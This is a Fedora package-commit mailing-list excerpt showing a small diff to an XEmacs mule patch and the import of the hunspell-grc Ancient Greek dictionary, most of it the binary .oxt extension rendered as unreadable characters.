RCS file: /cvs/pkgs/rpms/xemacs-packages-base/F-10/xemacs-packages-base-20090901-mule-480845.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- xemacs-packages-base-20090901-mule-480845.patch	15 Oct 2009 21:42:11 -0000	1.1
+++ xemacs-packages-base-20090901-mule-480845.patch	15 Oct 2009 21:52:03 -0000	1.2
@@ -13,9 +13,9 @@ diff -d -u -r1.66 ChangeLog
 +	(truncate-string-to-width): Ditto.
 +	(truncate-string): Ditto.
 +
- 2008-08-09  Norbert Koch  <viteno at xemacs.org>
+ 2006-12-01  Norbert Koch  <viteno at xemacs.org>
  
- 	* Makefile (VERSION): XEmacs package 1.53 released.
+ 	* Makefile (VERSION): XEmacs package 1.49 released.
 Index: mule-packages/mule-base/mule-util.el
 ===================================================================
 RCS file: /pack/xemacscvs/XEmacs/packages/mule-packages/mule-base/mule-util.el,v



From caolanm at fedoraproject.org  Thu Oct 15 21:56:15 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Thu, 15 Oct 2009 21:56:15 +0000 (UTC)
Subject: rpms/hunspell-grc/devel grc.oxt, NONE, 1.1 hunspell-grc.spec, NONE, 
	1.1 import.log, NONE, 1.1
Message-ID: <20091015215615.E3CC911C00DB@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/hunspell-grc/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32001/devel

Added Files:
	grc.oxt hunspell-grc.spec import.log 
Log Message:



--- NEW FILE grc.oxt ---
PK
K-*????R0?3??r.JM,IM?u?	????&??$*h??)?f&?W???+x?%?i?r?r

^O????,E?(^:d"?|?SE??P?,?	?R?#?7(,??<??????Iky??'??????v??l??Kg????7?{;????
?rs?
VL3CyA??\??2?D???p5??H?U??
??s?_?_?"<|
A at x@???c|sv?%??\]?O?t??<Y?????r??????,?????ak??D???&@fL?PB?g?
?uaxPk??O???RN:g
?????A}G???R??,???k??r??????eU`?Wz??|????	?1?U?<?aN-N?G??l>9[?_\\-???7R?md$???%??=???k[?NE??H??gC???]??@?uL?o??z?KbiZ	?B;?S?R+{VI?$??!?`rk?H??i*#???B29??6`w??B1?????I?.R??BNr???2C??}???|?"|?8????j???$???'8?1^?o*?S6?;?S?4?L??????Mv???????W?V?,?
??KdY1???}YM?'??????-Q{???F??l?c??7???/?0<o?X???'V+???

4??????Oc????T?`b???tt?*?1$?!fb?X??Hd?N"N?
h???ik?c?Sj5;???*u?JS?sN$???v>Z`?????E??J?6?????f?2
P+`fC??ik"
h?n??	????E???\?J1???he?%?x'?????????+A??9"?o\?????[h??????]zn?h7??????[9??+I?????
K????A?TDH;??Gd?Y?j??b?V????k???;w4`??-? ???7`?]??%?P*J????h?g?`????.??[????3-2??JV?n????K%???C]??q???Rf????	'?A!????J??"`=?????/e??F???mhZ;;???????????#:???%+v??v?????k?iY?2t??Z#	6?Hu??a?;_??S?m???=????[]???????YR??G/??B?w???y|?????2?xwg?_??Nxb?)?????d;3??T?%a?I\??^wO?zu??%pa??Q????]????u?g?(????a?S?/+h\?
?Q ]H???4?F??(?????[??/??~?Rs?L??R???$u$??z ?A:??W????@f???YE[????t?MYx?????Ai????????(?L?C\???~??Z??????>}?? ?n?)??????w?(?8?????2u?E?NZ?3?k*=?PK???u


>_2??
??+?\?(
???~??M??1?%y?$?=??????9???~N?s?x?S~??g?y??U??????????S%??+???o?_(?s~?o?e?5?W??W??W*?k?X??T???L?g??????]9???>b????-????\??U:???W??o?T???;W?v?x;P???>??
>?L?$??^B???
??>??n??????qy???I?Oz`$?+^???7???|?!??
?G??;???J?/???c?+??v??H?U??????4???????????)??1?????q??}???{?????>??	????????J8???>???c??????y???U??V}?o???z???n?????8?1KK??????n?j[z??????4?n?m???????W??????a??7?F>n??~???S?/5c?|?r?w????=-??+M???]?Y?-_B????f?l7???m???K???v???_u??_???M????&5??m?????j?4KjQh??gL?????M?C???vL???U???S?mj???'?|?M%?P?86??Xv??v?????????????r??N??H???????r?$O?o?b9I?'x?W??????2??????3???-W(???????C'Y
????s????;?(5|??????Y??;9?????T?????????uy??G/??uz{??{???????v??M??4???I??9??????????O3f?}??K?<u?f???
?L,85Dj??K?????kLczL]??6?6=g??<??n%t=Pyp?[?@lU????j{?|?%?^????;<y?*?4??i????v5?{?%\??m?4???N?A??G?z^c?i?Y?m9??>N???W?\i??!$???+?<????J??6??)??t?nZN0?q1???????]J???Y*WE?H????G?,j?uy?\?
??W??????>?1l??Q??????6?????TQ?x??Vo????=
&s_rF?R??7?x=?I?????????[H???????l???/???}?p???<?$??a??.?8?ah?a?-D?9=???0?S??????x???4????/??+r?????*-<??)	83?URY??%?8?{J??9?`????|??X????."@?tj??)?????.f??&???TB??H;?u??6$??^kHO0??v?`j?guJz?@0}>RR???L?P_??aw(M????>??6????9F?NQV?^??T?.?)?l	?*y????H??%?L?u?m& ????K??I?S?2/??_|;d????+L??GTPW?????]??_?
;???B?L?S?Q????~
????????]????Z????S?L?kb???Z?????gP?)CJ at i?-Q_q,??/$m????
???V?Jb?\?`???????8"/?%?!N??????6%@??L??I???;??X?^<???f????'n??1;?R
i??*?1?%
M?>?R??Y[x6?
????"???r?%<???JP8????g?2???v???????2???xW??MJ??A????8??w???'??=??}
?,-??N??2??UQs?\?)-??f???????W?<?-|?[??Z??o?4??5??]??f?w??M?a\M?f5M?I?X??)m?_??&a??R???????P??
?KU?z?@"??q??>}???8?:L)G?v????
??vi??????R??+u?]???k??????{u????w???????`?`???DG]???f7?????e???r}"?
j;S?#?+}?!??4}u?"??v?
???????6???&a?	?P"?H[?vJ??m?Y7??]?????M0&;?[RAQ??T?d?Z?n?]?n5n?|???)5V??a???}	{?f?JnsM? ????:?$??]??{>??????!??H`?t+x?c<U??6A?[?#t?????
dy??H??=?%@?'????????K at b?@D?U???B?????xhA?*?jU??c?fP???R?
t?M3???G??1???D?wP?I>x_????<X9	HDi???W??}???????0???8??4?RN8?Su7????+???l??1???e?ttl&s??amb?]c??k{S??z}???@??(??(u?GSSwi?0?^GxE??}??u???o??9??4??	?k?[3;??Mt????I?s
?n?B1??u??-?????$H???r?yy????Y%?_??U?????\!???(?S??u_?g????????i??
]%?2?????????"??A?k@h??l
??m?????i??????*?e?h???.{?\xXi`?kZ??M:d?Q???????d?#???+@?D.	4??D?R%??l_???ZI???%?i?? ?8??????'=?9???gN|}?M
?=???g???|v
?
????Sz????O??Q?F??\????i?5????????}?b?J?`?????0???J?????=??ZQx*??
?d
{???????u?{??'g?a???=??5?????]QX	?tm???s?12d8FFt?$K???2??<?u??f??L?.r?W?I???L\?.???F?b#??MU-+?i\?M?f&^]??PZ?lx??;??d?x???3q?c?
?6n
???4??B9?u?????R????i?u19R???!?&t-??_?????????????;9??K??;????B
?h??e????	[????jlc??f??3?L;
???4x,?-H??'^u ?H??jhVC???U????
B?T????ai9?Oz??T?l{f?4
V
N???Y3????K?<??i?S?zE???V?V????U????????w=?????(????P?p:/?v?[???;??n}F??
????{O$???nc???u??7?k?+??|?2?\O=?S?jQ?^	??{?9??9???9??U?f??????9??V?A?S?,????HI??4??e?j`??R?????5{?*Wi?|K??-o?Ey?-?:?I????7^?&d??a<???mQ?<?S?V ?cWp?r'IQ
?ty+??;??@?b?
????;??r/?0L???<?]31?Y|?yC?^
mN?N????.|?[%]qK????T?x???? F??u(0\?,???j??/rr?	a"?/^h?s
???????+?>?a)/??R???_???Ye?W??&?$??R?)?O??M*cy??a%??5 ?_??
j6a?rv?
!?7?\W+???^??2=?v??R?	H????KGB???????lg???N@?X?l+??1RHXs?|K?.????{??????|Y??-N?????Nm???????s????=]?h?*????+??J???^P??t???X&j?E?5?aR?\-!k??w{????9?VS?????YX??????2???=?Xd_?K?-?5?J????a?f??%??0??(??????????????SD?k??toUn1S??T?<E.?Z????<?j???c?????v,????G?Kz????????$^]?$?]?|?cGk????????Sv???o?#?_???J?$_wC??dw?G?=???y{
?

?*?<d?#?D{M???f]}???
>@!??????????g?dK?.#?v?????H??<?m???_?????~?(??_???*+S7?n??K??/%??"9(q/h[6???|N?S???=x???K???k(?&Ds?8??6?@
?V???]???7??????u3????9?4?S?,I??V5?TU?!^"??N?:gc? eD4???=????????1????I??;???of?m??????A?U??????8`T??c???~v_??$?]f???8?V???#?qcj???9???df?W?+??	(+T?s?:??????????j??ZS)?????)?T@?x???b??????
???p??#HP??K=?7H ??Ds?I?c,
m?????Rd?W???V#T??n?I.`9???{??H6?j???
?=B`???T"QX????Qb?????AY&?[????R???
}Y ????w????p????Vkb??YTR?{?j?s&?????H?_b?Z? )4+?G??}?hX?t??f??%Q??s?0???MM}N?
`??:0???>?u"c?h?qM???r???7~?A3?{{?u??OT?_???8???4???G??q?WD'
?z"J`?7#>??x???cP=@+?"????
j?;%??%??!U??ML%>?|q??nk?`?_??????J????0cb??-x?o??+]??v(PbC???\ACRT?K?:??2W?????wZ{?b???h/b????\'?K??x????-????I?mZ6Y???????	?l????F:?????#C?d??sl??s	?
vIx????G;??????3?y?????|6?=N-X1??twP?`??m+??T????l?M`??`p???????Q]^9V?f;??`????????r??i?-??k??,f??p]???Jr?^??i?Y?k?za??j!5x???S??h???C=5a?D0X?v?
??4|?&?!;?[??	??k0?S???
?jd???wr	b	?H?Nz.I???N?=??3T????n?8FBb?E?u??B_???X?Z?????R?? ?:N
Js???~?p???Z'??T??a!?kp???\?????zKZ??0???ro?
????P?%Ts\OE?	????"W?t?K	v,2P-'?=.?%U(???>Y

???Z??z????_?Q"??_??%H??;??B?;?BpE??p???
???????c9?^9???%
?c~?'?K?{?????w?*"?cg.???Wh????AW????4??QJ????2??v??kN??
?????7;)3??G[?<??????????4y???Z????\iR?q?>`???p?5?????n???}????k+>rO???T?AE????v;?}
L?y
_M?????x???L[?R?M????m?,p?`=??uV????:???ti???t???7?/??o???
8b???????%Q3?Ea?"?????e?K????a??v?O}?? ?
X??yY_|m?K
???????,???>????<IM
#??x??s{??6?a???c????B	f?Z=i?W)"?
?96?gsv?A98>*T<M?4??x?0?PC??T??"Y?`????U#f6???.?VK-jc??:??'e>?+?y??y#?????BUT?e??gi??>?9?B????S?S???
o2T??D???	?Jg??=??:;?;????????????????h????lhd7??TjI?D???^n??n,B??o?R?UKw??
???@+?
???a!?=???O+???FQ[??bf???<s?`!_?w?.~??????-O ????WK??C?[	???????????5;??6?KM ???ef??{?
?g?.vU?O?????W&?w?do????5:?sI?#?0??d??z??K?C5???U??K?g??tl??p???7GP?<8a?Quf$
??T@?"?mz?Y?y`??k?o?6?????j????_?~=xf$???<4??\???{J?a??V<??/??7?	?q?EftH??a???8G?6?g?83?M??l6Q??1R???t(???u?????????3?r??+??hM???B?
???&4??
?=zk?0%??r??#???f???????t?j?	dOF1??)D?m??????o??R&?2*d{k???C??????]????Jif*H?K?-ug??9VE???t????r7KY?smI4?W(V??R/+R????dH???????i ???
??????Z5?)SH'???????p6???E?????	??F????U?.??_?<???c???@?4??e?r????F????p?T??T)???fN??[Mk??,/??????d5'i????????;?W?Lx!??+??1*????mT??????j?7?
?????i?Wy?G*????d???B???J?GPi?{?>r?@??????jJ?[???4E?%???<?(?|p???^??H??B????M??I??Z<?n??t?~?g?xd8j`???D???"D????3???qoviBB?G????E???"C?J??Bi??J?zmT???cO??????????]y?????N$?
?????R*y?"X#Tsh?U?z???????F?r?'61vb?[2/?HV? ?3j??A?
???y?!S???O?0?zN?*Y:x?q??;??%?q\<h?V"Z-???:?Jv??[?????B?i>??Q?B?e??{?n#K??t?L?:?M??4?0u?N?p?l?????,??
pwi$B??C?"<?H??n5?1??3???H?????=?????'sh?<?IK?;5??????????w??u??O??%OE6?z!?????lJ?0?*.s(U?=?}Rx?sl??Qh?? G?!???f?0
?u?yA??#$)??bI??{??h
?1)gy?&??????nF??K\???<?7???/???
D???S?!????_ at B$??.??9??e?	v?F-8??e~?????e*8O????V2}?K??????????)?;>g}??????P???a?$?N??????????S??E?~?~(?WE??;?????????-??2??u?@??j??g?????#)?n??n?'?c???t??????8????????V??!@.
=?k????q?n ???V}J???+????nv?m??#Mw??>??6h??/{???P0m?k???A44?Y???9[??6?
l(l??Pb???)?
J,????l????l$??@?7r?!?E??R???B??	%MX	Gz??????n?*?J?
dX F
	^4?B??h?Z>?QR?_z?1???????T???i?b??2???i???B3Q++?8?
!k??_
Y#M?/r??;?dSQ??8???Ry|??s?I???,??`~A?????A?/Zt%??w ??C??wd?k??2???	9?%?d??????;????p?i???@??}????????????W?aMTY????
:0?J2(?y???'0????[??pn??Rm???O-?N??'&a|?q???????
?"??&7???YG\???tU??????R???k??7i???d?)~?Q??'?6q%y????????3gm??b??m??5
??2??Q??Y?????*?/???j)s????>)0??
???{7??G??E?v???$???(E?g{??H?S??QIZ0?&/?
?OE?s?d??=z????H???E??7K?M/j?x$d??5R??[??zt????dsW?H????1B?<?+???<??C??[?{?L??3??z?c??~;9<??????s.a???A!??t8?c??%w?'Qv?AJs,?@?F?????@?O??
?
0|???k`??????{??esi??J;????^??B?IK$???J6??E???9?t?8?lX??????
?%8B	nZ8??=}%?[%,;?w?j??GKF?6??@???????X??s??+??T??V?nc??Z?z????C?F?^???qb?NB??C?????(XW?tiP
???
??F?i!?j]?^hR{??_?g???????H?W???A???u??????E?l9???O?Tu???dal?1? ??^?	?en4o???%+P_???yJ`gs???9??????T?)?4???b??sR?H?+????????f?U?-w?R?2?o`==?|????'8O+?}QM Y?z???+6?MQ??@.?l?i=???i(???n?%?g?????>?e?????_??Z?~?#?R??{Ogv?
??ka??S??d?R?8J????j?5?~????qD????P at L`??jt6??????7?`F|?1?k?,?-???u?]????{f????S??g-.?????u??)K???z#ak???}r??????
??7b%?????F???Zx1?+|??j?p???J`????|??98?47??<MT%v?5?O??????U?b?a?? +$8??~?x?%}?W3??B??A?qi?
??F??f???(9?????????!???@1Nx?PLe????????-?&???z/??^?P?s1{{???Y?m???????x?^?}???*??|?i???????hNm?`?????jB?h?Vo?*?G????
?l?]?????:
?`?
????=?j?7c,???x?P?xsY?? d?-d???! ?????EE&??e???:EwtKdm??1?>??pK??gRw??G?????'?s?
?$_$%.P1N?t??oa?K+?
gt?O?F??WxC?%_?;?R???2???f??%?z|??'{???????>b ?????aVr?}????Je?QJ??9+{ia9??8S?'?aRl?6K?e?=???LT??8??k$???x????4'_??V?GA????S?O<hj9ci????
??5=~?K??d??Q?Mc?l????Bv?BO7??%????5J??? idxn??o??:m?`q!?Q?
`??iy???????/?$??=?9?????sy?` ?x???????46n?????P?\?0?<?=?g?p?%A?Z????X??H??-}?DB?u?????XO	?X,??v??nHq?2p??27u????b
?????#?d???#-??????L`??p???ERb<6,r???????$_>???1=q(<?????e???,$??Z?qm??q?e?????
_????I??l??e_????v?P????D???d-???S6????;??]~?]{??Y???G?;'?&?Xo+????<??.?&?????KU?Q~???"\
?ZK\{|\3??E/9E"????<~??LkC????????ihJ|?
??1>nb?d?9????
?????+HE???d+????X??UE?U	?>?b?48??|[?>??h~?????
ke5?_?#??D?td??D?e? ??e?w?'Q?HQ7????n|?????W??>?9??????f????[?????e?_?n??????O???wsa?????O?y?:@?2]???
co3???.?r???^&v???6tz?Y?"Af??,O9??r?q?Mh5	?x??7???|iv.?o?FC??lrQc?	????,?n????Wa?,N? v?F???????b>???!?R??'?\?e8?#?
yG???B??MfDS	$	?<?r?G????
?jR?
Mk??(?? ?B cg?H?y1??5?K3?Vv???9@??{*??s????\Y?H?3???UONXU?r5???????bsO=?QL	_?f?G??9Xgs??L?????kA??$)????}?????s??????????t?56??`?????6?K?T|???p??????a==!G?75???????ok??p?o???T??@&?????5?>y?????r:?B?q??br??G?z ???
3???U?????Hk??????a???
???2???D5????h???#?5??^??{?veu?Th?92??&/}???=????i{?|?d?%y?*?C????g?4???Q?D?w????
3*?????}???#??T@??$?y*????A?I???]C??/?
?P???N???R???1????@???/?C??e????Z???~???F?B/????W?l???s????s????X%?s?@8?)?p'C?V??mw?
??g?T???
?????ot{tW?????C%Dj
)????S??K<??HZ(???????q???,?]?m???\?<i.?m??_X?t?p???Z(F???m?O???Z?V*???h???c??j?n.r????X??q?E???G7+?0?u?h(UUJ4&}dU?
*
?????/?^x
?p?
?Y??
?fA???
*?
k;.??
u??????n@???P?N??l???o?cj at h??N|1????<????M???|jh?g\`Q??d???#???pp???@b?M`??<?P???w}_?m??????????#m at M'Q????<b??z)!???W?5?>?????0?:?m?3&N'?xX???6??h??????,BK????0 t_???]?k:?>-??Z?@
`??????}z????&U?
10???0A?L;2m?b??o?e
?s?m?%?????M??a??v?>?M??
X?m??c_`???R;a?BS????`6??v??
?Yx?? ?FG????C?a???
|A:?a?.5l??????>?7?_?TJ?+}???L=??.??rh??|9????q?A???????Y?????V??????z??!???:???#L????12?S?w??W6~??
????z????N?45CYdb? (u???D?=So??,I?E??

~??5<*A?Do????d??,K8Y??jL??5`4????Z?b2?!?d??/?J???????\?????@W?W=`??n?Z??r??9?t at H?VMXm????=??"?$?JT?v?]?&?>??AwJCg;L>y?????
??XL????W%?L??A?43yg?9???;<R?rI>)?v~??P`?}J??8?:??F??!?.??i???????e?R?C??R?I?E?oP?e??
??
?m??????p??????rpS?ixJq[T
????_??????#??^|:3?A????????k??c?q??G??,????????Uk%s??i?&v??Nr??\B6???T????M#?(p)?1?U??s
]???rMg?????2???}????|d?E_RU????+?Xh?P[W??c?j3b?b?]????????0?g?o4 ??v??M?p?
y???????/8p???Rr?(??e???s?c???-?v5??d?C???i???o????j72$??1v????6???\???k??x0k?????8.X??C?\?D????kP??3???]??]?R???ox?|??,&??#?#?
9?+o???W?>??Tp=??F?w???y???????`c5??V8?F+??????iz??y?Q?????y????m(?????r?;x??0?@???z?
?hUJ?tM;h]
W$?Q?t????U_!???7(??/?????$?"?wL????[W at e??P???????q??bY#G?f?-???q??`J0?K?%??(^1?#???l.??Lfe?O]`e?Od?x??IsE??]#24???+{0=???#?:????Gv???m?-sV??P[?7?V?a????8t??<??j?KL???? 0d?U?8????>?s
???8>?????//C?????@???@??5WP????V??*&???mo
?O?
?t??0\?"%jT??Y???zK?b?Uy??J??}.A??????I??????	???.??Ex%IwH?;wCt
"
???O?P??:??w?#O??u??[?H?e? ?????d??<??06?M??$??P?
?????	j4?????}:9l89>?3=b????????5????C??
u???A???)?????oF??'W?(4???6m7SC?$???????6@?????n?O??v?O?_?,????vF7`?Q at .T?J?cRG&?1C?U?????W!????Bu?#??V?`?????&?%?I????????????D??!??F????(??6p??f
R??[?p?=P#a??*Im?
???p?p*$???2?
?9??????4??????@x?1?t?K*,??5??????Y?;???S??$	??*?9
????QX?????P?;?#????????e???r??[7??+?ZL0???-?H???
?Ty?an???:????$??1??7??!?~??7V???????3?
???U??~??P?*???I??\?%??H8???Xy'?
7???E?B~2???*`?j??X????=b"??_?,?_??????Ge??!??/U/?5ZY1???$?M?IDA?t??+?U8?47?FT?-Bd?I7???|m?G???"????x9Tn?GE???>1????!???X??(?p??K=?????Sk??O?1Km???"R??????X??qi?}w
{???]?yE??s
??f?Z?????@?3;????[O???W?^????i<-?}Qu2?D????P???gw=?zh+???~gJkv???,?O?.?#!?E?????j?|?V??Q&?y['????[???:,1=?aB?<??'?M1???W???
?????{l?+?C??????>>&??.*?s)????
g?r}???D0??????.??????
??`R??DT??i" GFA?3/H??8W?Z?????4/O??Yv???C???={???1?/\??R?K$????m
x?@f??Bg???X?,???V?
??X???v7?v??????u5?\?VU???
i?P???y????Z??p????g???i?R?<<j????|*??
???
n??.?fq?UZ?b???"?*??g_?????d?y=b???B|*???Wb?|?c?

Pr??C
<??5??AP?s???-XIa-?4'???qj+I?/?n???cH??????f?$??????????x???>?.2?N??k??K??rJ=?)?&??_??Xw&T<?K'.c???????g?4??NT?????l??s?[YUI?G=???i???Q?"K??}?S8pD?????#???????-1?0?=!j??????=?o`*?Pe?y?????)???i??aJ}?????`?
?M_-?"?L?????d???Z?E??R8?e?"s%?\W?	?A???p??	"'??k8???j6??%??'{???z????&Q??J?I%?????t??8??;L+?!4??z?g?iJ??|??n???J?AP??J???Y0?I???+?v%???x??o????N?	pSr?a??6?W?G??QF?ga@?vW??D?G?????,???&?7?????9:?"$b????????z3fH?q?i?????}?Q
??x?gp????iF??????\??)?L}pG?9??+s?(?0@=A?,g?[m?qX|??????(????_n????5?y???E???Q?	o9?{??'?[r?]U??????1UZ?>?3}K
<??C???????c,?=???t???^!?w???d|?+(???d????}@?Y?
???^?m3?^?u?7c??"? U??2p!???
0M??
vG??t1??E????k?6??l?S?p[?(?BI`%?WLb?????&?P?M??
????&?"v??????<
???L?/?S?.??n+N3R?o
?	a?`>???.??<Vi_??xm?????nOk??A^7b)O???	N?&?6??
?o??*	?pM6P?U?k???<C?T???3tC???<{??Q[Om?^?S??W0Fs?'2???Gq?&J???}???'#?
<??|??????7?E?G??? 05
_q?q?r???
MQ??Vs?W|??/'?{??o?^??1?_u??g?l???\???#?=D???[???c?f#??|????|??Ip?????fT?<?A?????K6?
????n?~M??km?h?n??????]??j?n??sv??^???m????n??
[???u?G?C?N?|e?S?7<??????[tg???-]??;???????(0??l{?Ub3?/??w?????????'h&0??_??n??6y?oafj?????;??????y?^?u=??
uPp?>?w?~|??[?wk1?il-E
xl?!?
?r?1?????????58??P?L??
??D?[7p??? ?P??Q????
?X?a??+??!????m?)S??qK?>??R?]Cu??PG?????K?Y?WT???y.???3?h};5VP?!7?,I?^V
??33?y^??0<?'r?D??=dqd?ve?z??NU?
*.?,X??,?w:??kA??)??>?	YQW5??Qi?"?8x?9;???????,?5??????]?4$3x;?5S?_?#l??dw?d?	N??
h???>7(?o6??O???D\??j\???Z?JNV	~??Z-0??`j???????`???E?fk+?]?H5??_O
4q?x???R?E{	d?3v?*?Ci?%???#???t?'mW??SE???)	??|Y<H?J????!rP???:,?!
c&?L:?
?#?n??m?c	??;G??????R5P.SO???/}??z?????3*e?Bv?J???-&?s??v?&[?3??w?Z??????xH??BOy$???k???Aj???@z5'?f??P???y1?c??~D????????#?
??6J?Qa?Y????i?u??IV?]Y???z??fv??e?|??s???
??\s?h???k?j??s,@r.??3n74??C?r?t??????r??d.???U???Jx????X,?d?_??"???_???8????????X.?(?v??^T?4?]Ly?2?9?????p-???5;??R?M??T
W??N
V??????????I??e?
N?Xg?l??????)3??h	i???h	??:?%?!>-??=?3????R????????%U???????lA????=&x??x @?	`?6???j??w??DYAke?x?J?W??b?'???d?T??????l???t??l????K?6?y???\??p/?V??F??????b?:]?E-??	2??M?>h???|)??????Y?
???C?m???d??k?K>?C
OX?\E????T??v?C???W?&??^?tL	????$
f???????!?G???8
E??JX???\??+?Fo]?oz?[X?D-<????*hz??n???yOx)f??P?UWe%???Z?{+??^b>??????J?6??I?H|)???d)?+??????????N?s?=???T
O?	???????n?03??b????{%?Ha?w;D>8??5????A??S?
hQ"?^d??[??x??-d?x?????j?j??F?J=g??Y)??rUF=;??Z~?r?V?????|??d.?f???8??|?J???????B?????s?????K???t????[?Zr????[h?2????
????Z?[?an????Jea?S??y??V??T!??%?f?t????J
p?Q4?n???f???=???N???"???l	:?bmTU#?-l`w???0????+??s?t????8????
??]???#z?5d??<??A??-?aq?2j??????1???.?/??d???[????p?????&????M+8???F?@?TD?>???&Kq;&????????er?Bq??L????Oe+????t??Z????
d???????u?	6<??}????-???A?kA-e
hQ???A{?????1Gp????8??T???t#$7?-"?C?p?g?r?l
K???????<
?*?e????p6?.34?1,????s%????9`?i??K?R?Q1??;o??($??{?p?C???r?Px???;	??]???5??y?>G4w?H3???u? ??l???p???S??%!=?f???\?`?`@?S$??@?g>?,???Cy+=??Rl? ??w?=?^?)x?!?
?tO%X4o?sQ?w\&)?????

???
s4rEd!*;44~e?l_95?;f???|nk??U/?}g???H ?7?c??yX??????e???:????????|c????5m?[M)?r???>lF?kU?'???q0????c@??
?? ???W(a?????`p?9f8?J??<??'0aj?
??
?0?y???????g?LH5???
??O??!m?????_?-X0?-???sR??=2??.??|?/8??l???+UJ"rb"??=?F?E?
{??(s`???v>
?????:?6????p???3
?0n}????u?\p??????????<9?R?~((?????l???0???*nI??Ct/
?? zI$?
??a???@q;v?????w??*r1K3Y?x#F???j?G??L?d???g9?z?Mu?F????t??]W
????6}>??z????3??'????g:lb??19??-N??}???!M??
???

b???z???^????????b?5?u;8)&?;a#????

v(0?~U??????9??]z?&`3N?7[v????-?????_A??O??bEU???oi??._?-???B?If???????A?????1??nZ??;?s?????AJQ??'???\?w???A??q???????)??????\\#??[??????n?1??%U???
??"?2.?M/z???????g7?"B[?
>E??
4[?9??????m?
?????pL???hS*p?!??
?A4);l???vg???R
 ??tV?????6??h???K)
???d
??e???<w^F?p.???u`???	<???<?tpp??)[??&?\????Q?
 +??	3k#???n?l??S??)T
?2???y?U%????{e??sq{?????F;?e??o??7(????Gt????X??
??@???	gVsn??????u6!|2?U?S?????4??V??????L???r&?W???Ob??o>??/?*??d?Od???r0f?D?I??`y??N?,?3?{????tK
??
?c?n?	?????k%S&U??????3??Jq?0?x.?_?Q???-?K???0??
??/??3???#6?a?????Y<?~?SgX?Tl???U?}]4jT???'{?&U??7????m?Y?3?]?=??u?"??
?f?}m!v	XJ
?????;4???U?Z?????*
0S(Y{)67???9??P?deZ@gr??}?????}??y?:??????M???84??????8?????j??*{??a???.}z_N1#?|??i?N%|???$
Qx?vR7??E*(??\???#????c???????YV?*C??XS@???z?l~?Vv?u?rN?n??XB ?YI?\?fO??nv??c8gd?^?	?K
???}M1?7?JsI_???'8_?<??
?eJ
??#??
?H???G??}??qyb???????)K?t??
???0?-|u?
IpB????E/|'??.ei??m2???+??#~??7Q? ??WIi???[????????LQ?I<D???)JV?jrgr:?x-??'??+??O??$E??\????[???D????; ??
??vWh????Yx
???r??5???s?T?????N??5??5`^&
?%>Tq?? 4CR????ap??A??!???????
L?u?`].}?7??c?7??Y?n?w?E??)f?	?['??j?xz8'?8m?
??J%????)???kPrK(f?,?<??c?W?????^??f??o?h?aO1?
kNwI*??:X2
??_>Kz*/?Pb??kY?R???Up5?? ?y}??????????l???3]??A??o??1m?~q
0??J?V???P?g?A,a?????n????%k?\A?Z??" ?0UB???????q???@??[?oG?????^$O?\?B?f?14??????4@'???x.????p??1???????vP?7]??S?`W?Y;Av?|?"?l.?
[???|G??=????<??d???3!??r?O-Q?gU?%???.???I\??u??`?????b+Sj6?????????o?`???(????V????J??>8???{W?ObW??K????c???Y?A??p
?"?_K???VJU@?z?e????^B?z)?}	?	??????|?!&~????Og?e_d]?T?J?{?2\???m,??eA.?eY?/8?
?u9?
_?)??????R??Bsi????Bn??5?K|?Z????Oq?????u??}??$^.??g?$???y?)?n?s??]????iB'?#H07 j??A?;?8?5V|???]??????c~c;,??=f?E?X?#?ID?}?
???`??M??m?????i?i??????P<?K??eW?l???P?L?v(0Z?3[???Qa??L???l}-4?%
????M??F7????
?e?A?????G?,?C?`???9?yg?N?@'Yv?Q???,??<<?"? ?k|
?@U
8
?zp???-????~?Q?'-Y?2o?Z.?^???/:0|?>????/?~?k`???????fB^????o?cr
??X#??W?q??,???????*??
p[???>?Y<????r?<????]??S
SP??D4???M??V???r???HY
B?k??[Z%?=Q??m?b???I??Ooh?SZ|??????P?y?x?T??2??lS2???W???0?n???Of <?^If
???EN???!??:eI?E9??5???l??ud&???
?8??1}??
??x4
{u?J?D??G?T??8?p?
h??n?n?A?5?N8[?M?e??yA??.????
?l?<?|?Y??i???*h?X5T??C?;?-????????Q?A?q?6??G???k??????$?A??'U?a<?Q,I+!{}p?)?]?k?G??\[???Hu??N,n?????????*?
???t?qX,Pa?.D?????_Mp??l2!3	?w?I?H????r*a?-Z,??)???0\I?eu?`????-g???g=?S??s??v???s+????6???l??,?spo#i?$q??L?????m?NXU$.?!~?w?A?C??v???}??5?^c??(*Yg)???wX??nW
X?-?K?=????d??
??!G?`?Z?_n??????
??D??
??v8????c3-(v1????ME?????`???:D??4???D~($?q?'/,?2?Ir?B?7???t.?]{????????????%??4?*"<f??r???
Y?;N?c????7l2?;a0?(?8;?a??k???V?j??&?>I?/???v??N???:??????1Z?+?????H1}.??e??p{O)<x?
?G;???n?zt????????;??????W)^\;?=#x^??T????V?2?uQ???Sg??????2yO/$QS?8?xv?I;?;?U?W?dbE?cr???N????h??+?????|!?R?,S]+?]?D4???K??Z?Y?R4
????4dP<.ne?????\)?^+??	?;???T??(?%T?2????`?";&Fw??H
|??s??Jv????Y"?w???z?aE}????(?Lh?L???~?2?K??)??g@??
?v?!????!?5K?????9
???z??dF??]/N?}?%f?3Q?????0f?
??)s?4???5s:?w?Q???lac???q? ??oo??H?e?????????22??N?????t?????(??(??????=???Y??F"???????m?????????u_?J#u???ut????%;*5??#?v?1[r;????@??*x?W*w>?S????N?F4????>??S??;???PGS(?%<}?*t?D%??X%;????g?
P??
?
????????????s?hFS@
P???<S7?Q???X?3{??VW?6agx"?u???O-??\Z??$?????'
????0?u????U?Bl???b????L?E=?{??$?h?
?7?????NV????&!5??8?d?)8v?
????%??}?8??e??????Oy???y??!r?*??[B???????3	??1c.=????S?,?9;??k
???k
?C??TZ3???n??pMS(?|It?9????:???<:%?+?b?Y????:],??%H?'???????4?U
+0???~?5R??[??S??(?A ?????W???
??b
.?`?u
h[?o?-???_????Y*h??WNR??(??C4X?J?B_^,y4????;??o?????!??6f??????I2q????9??[a[?o??y3?,L?x>?}??????S
??2?s???Z??Y[yV????-AM?????????B??.?eGE?jnn)tI?,<??m?????
NR?y???v7?R_V_?]?q???U S??????u?<?Ru?{?S??????R?-e4??1????{?S
y?I?.&)??J?l??O?5?AY?@5f??Fm?d7!
??>???*A??(???-q;`pZ?k?vU?[xk?7???8?????v[???a???u	P??J	?
?r???????]???O???,??*?G??[6^??????K?cVZ'?cJlLU>X???
